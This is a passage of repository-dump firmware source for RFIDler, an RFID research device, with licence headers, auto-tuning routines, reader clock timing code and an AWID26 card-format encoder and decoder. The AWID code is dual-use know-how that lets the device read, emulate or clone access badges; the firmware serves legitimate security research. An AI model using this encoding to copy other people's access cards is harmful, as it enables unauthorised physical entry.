EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"ask.h\"\n#include \"mcp414x.h\"\n#include \"comms.h\"\n\n// auto-detect pot settings\n// this routine assumes you've set tag type etc.\nBYTE autopot(void)\n{\n    unsigned int i;\n    BYTE tmp[2], hit= FALSE;\n\n    if(RFIDlerConfig.TagType == TAG_TYPE_NONE)\n    {\n        UserMessage(\"%s\", \"\\r\\nSet TAG type first!\\r\\n\");\n        return 0;\n    }\n\n    UserMessage(\"%s\", \"\\r\\n\");\n    for(i= 1 ; i < 256 ; ++i)\n    {\n        if(get_user_abort())\n            return;\n        if(!hit)\n            UserMessageNum(\"\\rTrying POT %d\", i);\n        switch(RFIDlerConfig.Modulation)\n        {\n            case MOD_MODE_ASK_OOK:\n            case MOD_MODE_FSK1:\n            case MOD_MODE_FSK2:\n                set_mcp414_wiper(WIPER_HIGH, VOLATILE, i, tmp);\n                if(get_interpreted_tag_uid(DataBuff, RFIDlerConfig.TagType))\n                {\n                    hit= TRUE;\n                    UserMessageNum(\"\\rHit POT %d\\r\\n\", i);\n                }\n                else\n                   hit= FALSE;\n                break;\n\n            default:\n                return;\n        }\n    }\n}\n\n// autodetect data rate\nunsigned int autorate(void)\n{\n    unsigned int i;\n\n    if(RFIDlerConfig.Modulation == MOD_MODE_NONE)\n    {\n        UserMessage(\"%s\", \"\\r\\nSet modulation!\\r\\n\");\n        return 0;\n    }\n\n    if(RFIDlerConfig.SyncBits == 0)\n    {\n        UserMessage(\"%s\", \"\\r\\nSet SYNC!\\r\\n\");\n        return 0;\n    }\n\n    for(i= 2; i < 256 ; ++i)\n        switch(RFIDlerConfig.Modulation)\n        {\n            case MOD_MODE_PSK1:\n                if(read_psk1_data(RFIDlerConfig.FrameClock, i, RFIDlerVTag.UID, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, RFIDlerConfig.PSK_Quality) == RFIDlerConfig.DataBits)\n                {\n                    RFIDlerConfig.DataRate= i;\n                    return i;\n                }\n                continue;\n\n            case MOD_MODE_ASK_OOK:\n                if(read_ask_data(RFIDlerConfig.FrameClock, i, RFIDlerVTag.UID, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, NO_ONESHOT_READ, HEX) == RFIDlerConfig.DataBits)\n                {\n                    RFIDlerConfig.DataRate= i;\n                    return i;\n                }\n                continue;\n\n            default:\n                return 0;\n        }\n        return 0;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/awid.c",
    "content": "\n/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n// Thanks to proxclone.com for detailed information on bit structure:\n// http://www.proxclone.com/pdfs/AWID_FSK_Format.pdf\n\n\n\n#include \"HardwareProfile.h\"\n#include \"util.h\"\n#include \"rfidler.h\"\n#include \"awid.h\"\n#include \"wiegand.h\"\n#include \"fsk.h\"\n\n// convert null-terminated BCD UID (8 digits) to awid26 encoded hex\n// UID is SSSIIIII where S is site-code and I is ID\nBOOL bcd_to_awid26_hex(unsigned char *awid26, unsigned char *bcd)\n{\n    if(bcd_to_awid26_bin(awid26, bcd))\n        return binarraytohex(awid26, awid26, 96);\n    else\n        return FALSE;\n}\n\n// convert 96 bit AWID FSK data to 8 digit BCD UID\nBOOL awid26_hex_to_uid(unsigned char *response, unsigned char *awid26)\n{\n    BYTE i, tmp[96], tmp1[7];\n    unsigned int site;\n    unsigned int id;\n\n    if(!hextobinarray(tmp, awid26))\n        return FALSE;\n\n    // data is in blocks of 4 bits - every 4th bit is parity, except the first\n    // block which is all zeros\n    for(i= 0 ; i < 4 ; ++i)\n        if(tmp[i] != 0x00)\n            return FALSE;\n\n    // discard 1st block\n    memcpy(tmp, tmp + 4, 92);\n\n    // check and strip parity on the rest\n    for(i= 1 ; i < 23 ; ++i)\n        if(tmp[(i * 4) - 1] != parity(tmp + (i - 1) * 4, ODD, 3))\n            return FALSE;\n        else\n            memcpy((tmp + (i - 1) * 3), tmp + (i - 1) * 4, 3);\n\n    // discard the rest of the header - 1 more 3 bit block\n    memcpy(tmp, tmp + 3, 66);\n\n    // next 8 bits is data length - should be 26: 0x1A\n    binarraytohex(tmp1, tmp, 8);\n    if(strcmp(tmp1, \"1A\") != 0)\n        return FALSE;\n    memcpy(tmp, tmp +8, 58);\n\n    // standard wiegand parity check - even for 1st 12 bits, odd for 2nd 12\n    if(tmp[0] != parity(tmp + 1, EVEN, 12))\n        return FALSE;\n    if(tmp[25] != parity(tmp + 13, ODD, 12))\n        return FALSE;\n\n    // convert to hex, ignoring parity bits\n    if(!binarraytohex(tmp1, tmp + 1, 24))\n        return FALSE;\n\n    // convert hex to site/id\n    sscanf(tmp1,\"%2X%4X\", &site, &id);\n\n    // final output 8 byte BCD\n    sprintf(response,\"%03d%05d\", site, id);\n\n    return TRUE;\n}\n\n// convert null-terminated BCD UID (8 digits) to 96 bit awid26 encoded binary array\nBOOL bcd_to_awid26_bin(unsigned char *awid26, unsigned char *bcd)\n{\n    unsigned char i, p, tmp1[8], tmp2[26];\n    unsigned int tmpint;\n\n    if(strlen(bcd) != 8)\n        return FALSE;\n\n    // convert BCD site code to HEX\n    sscanf(bcd, \"%03d\", &tmpint);\n    sprintf(tmp2, \"%02x\", tmpint);\n    memcpy(tmp1, tmp2, 2);\n\n    // convert BCD ID to HEX\n    sscanf(bcd + 3, \"%05d\", &tmpint);;\n    sprintf(tmp2, \"%04x\", tmpint);\n    // copy with trailing NULL\n    memcpy(tmp1 + 2, tmp2, 5);\n\n    // convert full HEX to binary, leaving room for parity prefix\n    hextobinarray(tmp2 + 1, tmp1);\n    \n    wiegand_add_parity(tmp2, tmp2 + 1, 24);\n\n    memset(awid26, '\\x0', 96);\n\n    // magic 18 bit awid26 header (we will overwrite the last two bits)\n    hextobinarray(awid26, \"011D8\");\n\n    // copy to target leaving space for parity bits\n    for(i= 0, p= 18 ; i < 26 ; ++i, ++p)\n    {\n        // skip target bit if this is a parity location\n        if(!((p + 1) % 4))\n            p += 1;\n        awid26[p]= tmp2[i];\n    }\n\n    // add parity bits\n    for(i= 1 ; i < 24 ; ++i)\n        awid26[((i + 1) * 4) - 1]= parity(&awid26[i * 4], ODD, 3);\n\n    return TRUE;\n}\n\n// return raw HEX UID\nBOOL awid26_get_uid(BYTE *response)\n{\n    return fsk_raw_get_uid(response, FALSE);\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/clock.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"clock.h\"\n#include \"USB/usb.h\"\n#include \"clock.h\"\n#include \"comms.h\"\n\n//const unsigned int TimeScaler= (GetSystemClock() / US_TO_TICKS);\nconst unsigned int TimeScaler= (GetSystemClock() / TIMER5_PRESCALER) / 1000000; // compensate for pre-scaler\nconst unsigned long TimeScaler2= (GetSystemClock() / 10000000L);\n\n// inialise OCM for H/W reader clock\n// clock will be toggled by the OCM\n// OCM ISR will process RWD commands\n// user timer3 so timer2 can be used simultaneously by SmartCard or SD Card\n// width/period in uS/100 (will be rounded to uS/10 (as accurate as we can get on a 80MHz pic))\nvoid InitHWReaderClock(BYTE type, unsigned long width, unsigned long period, BYTE initial_state)\n{\n    // reader mode\n    COIL_MODE_READER();\n\n    stop_HW_clock();\n    \n    CloseOC5();\n    // some strange behaviour when switching from pulse to toggle. double open seems to fix it!\n    OpenOC5( OC_ON | OC_TIMER3_SRC | OC_TIMER_MODE16 | OC_TOGGLE_PULSE, CONVERT_TO_TICKS(period) / 8L, CONVERT_TO_TICKS(period) / 8L);\n    CloseOC5();\n    \n    // clear error led\n    mLED_Error_Off();\n    \n    // clear bit counter && type\n    Reader_Bit_Count= 0L;\n    Previous= -1;\n\n    // in sniff mode we don't use our own clock!\n    if (SnifferMode)\n    {\n        READER_CLOCK_ENABLE_OFF(LOW);\n        return;\n    }\n\n    // enable tri-state\n    READER_CLOCK_ENABLE_ON();\n\n    // set clock state & command parameters\n    RWD_State= initial_state;\n    RWD_OC5_config= (OC_ON | OC_TIMER3_SRC | OC_TIMER_MODE16 | type);\n    RWD_OC5_rs= RWD_OC5_r= CONVERT_TO_TICKS(period / (period / width) / 2L);\n\n    OpenOC5(RWD_OC5_config, RWD_OC5_rs, RWD_OC5_r);\n    OpenTimer3(T3_ON | T3_PS_1_1 | T3_SOURCE_INT, CONVERT_TO_TICKS(period / 2L) - 1L);\n    mOC5SetIntPriority(5);\n    mOC5ClearIntFlag();\n    mOC5IntEnable(ENABLE);           // enable OC5 interrupts\n}\n\n// use timer4 to allow timers 2/3 to be linked to OCMs for other functions\nvoid InitHWReaderISR(unsigned long time, BOOL immediate)\n{\n    // if requested, arm interrupt so we read this bit as soon as we start ISR\n    IFS0bits.T4IF= immediate;\n    \n    mT4SetIntPriority(6);\n    // start timer4 to read data - ISR will do the actual read\n    OpenTimer4( T4_ON | T4_PS_1_1 | T4_SOURCE_INT | T4_32BIT_MODE_OFF, time);\n    mT4IntEnable(ENABLE);\n\n    // switch on reader LED\n    // this is also a semaphore so the rest of the code knows we're running\n    mLED_Read_On();\n\n    // clear error led\n    mLED_Error_Off();\n}\n\n// temporarily pause carrier - specify period in FCs\n// we use clock counter in ISR to create very precise timing\nvoid pause_HW_clock_FC(unsigned long fc, BYTE state)\n{\n    Clock_Tick_Counter_Reset= TRUE;\n    // wait for reset\n    while(Clock_Tick_Counter_Reset)\n        ;\n\n    READER_CLOCK_ENABLE_OFF(state);\n    fc *= 2L; // two ticks per FC\n    while(Clock_Tick_Counter <= fc)\n        ;\n\n    READER_CLOCK_ENABLE_ON();\n}\n\nvoid TimerWait_FC(unsigned long fc)\n{\n    Clock_Tick_Counter_Reset= TRUE;\n    // wait for reset\n    while(Clock_Tick_Counter_Reset)\n        ;\n    fc *= 2L; // two ticks per FC\n    while(Clock_Tick_Counter <= fc)\n        ;\n}\n\n// shutdown reader coil\nvoid stop_HW_clock(void)\n{\n    stop_HW_reader_ISR();\n    CloseTimer3();\n    CloseOC5();\n    mLED_Clock_Off();\n    mLED_Emulate_Off();\n\n    // tri-state-off\n    READER_CLOCK_ENABLE_OFF(LOW);\n\n    // usb back on\n    USBUnmaskInterrupts();\n}\n\n// shutdown reader ISR\nvoid stop_HW_reader_ISR(void)\n{\n    CloseTimer4();\n    mLED_Read_Off();\n}\n\nvoid clock_test()\n    {\n    unsigned int test;\n\n    GetTimer_us(RESET);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    Delay_us(1);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    test= GetTimer_us(NO_RESET);\n    UserMessageNum(\"\\r\\nticks %ld\", GetTimer_ticks(NO_RESET));\n    UserMessageNum(\"\\r\\n1 us: %d\", test);\n    UserMessage(\"%s\", \"\\r\\n\");\n\n    GetTimer_us(RESET);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    Delay_us(10);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    test= GetTimer_us(NO_RESET);\n    UserMessageNum(\"\\r\\nticks %ld\", GetTimer_ticks(NO_RESET));\n    UserMessageNum(\"\\r\\n10 us: %d\", test);\n    UserMessage(\"%s\", \"\\r\\n\");\n\n    GetTimer_us(RESET);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    Delay_us(100);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    test= GetTimer_us(NO_RESET);\n    UserMessageNum(\"\\r\\nticks %ld\", GetTimer_ticks(NO_RESET));\n    UserMessageNum(\"\\r\\n100 us: %d\", test);\n    UserMessage(\"%s\", \"\\r\\n\");\n\n    GetTimer_us(RESET);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    Delay_us(1000);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    test= GetTimer_us(NO_RESET);\n    UserMessageNum(\"\\r\\nticks %ld\", GetTimer_ticks(NO_RESET));\n    UserMessageNum(\"\\r\\n1000 us: %d\", test);\n    UserMessage(\"%s\", \"\\r\\n\");\n\n    GetTimer_us(RESET);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    Delay_us(10000);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    test= GetTimer_us(NO_RESET);\n    UserMessageNum(\"\\r\\nticks %ld\", GetTimer_ticks(NO_RESET));\n    UserMessageNum(\"\\r\\n10,000 us: %d\", test);\n    UserMessage(\"%s\", \"\\r\\n\");\n\n    GetTimer_us(RESET);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    Delay_us(100000);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    test= GetTimer_us(NO_RESET);\n    UserMessageNum(\"\\r\\nticks %ld\", GetTimer_ticks(NO_RESET));\n    UserMessageNum(\"\\r\\n100,000 us: %d\", test);\n    UserMessage(\"%s\", \"\\r\\n\");\n\n    GetTimer_us(RESET);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    Delay_us(1000000);\n    //DEBUG_PIN_4= !DEBUG_PIN_4;\n    test= GetTimer_us(NO_RESET);\n    UserMessageNum(\"\\r\\nticks %ld\", GetTimer_ticks(NO_RESET));\n    UserMessageNum(\"\\r\\n1,000,000 us: %d\", test);\n    UserMessage(\"%s\", \"\\r\\n\");\n}\n\n// low level pulse timer\nunsigned int GetTimer_us(BYTE reset)\n{\n    unsigned int time;\n\n    time= ReadTimer5();\n\n    if(reset)\n       WriteTimer5(0L);\n    return time / TimeScaler;\n}\n\n// low level pulse timer - return prescaled ticks converted back to a long\nunsigned long GetTimer_ticks(BYTE reset)\n{\n    unsigned long time;\n\n    time= ReadTimer5();\n\n    if(reset)\n       WriteTimer5(0);\n    return time * TIMER5_PRESCALER;\n}\n\n// bad stuff happens if this gets optimised!\n#pragma GCC optimize(\"O0\")\n\n// raw timer wait - for things that don't want any delays...\n// tuned by eye with logic analyser!\n// 1us == x/2 timer ticks where x is what MHz chip is running at (e.g. 4 for 80MHz)\nvoid TimerWait(unsigned long ticks)\n{\n    // deduct 2 for processing time\n    ticks -= 2;\n    WriteTimer5(0);\n    while (ReadTimer5() < 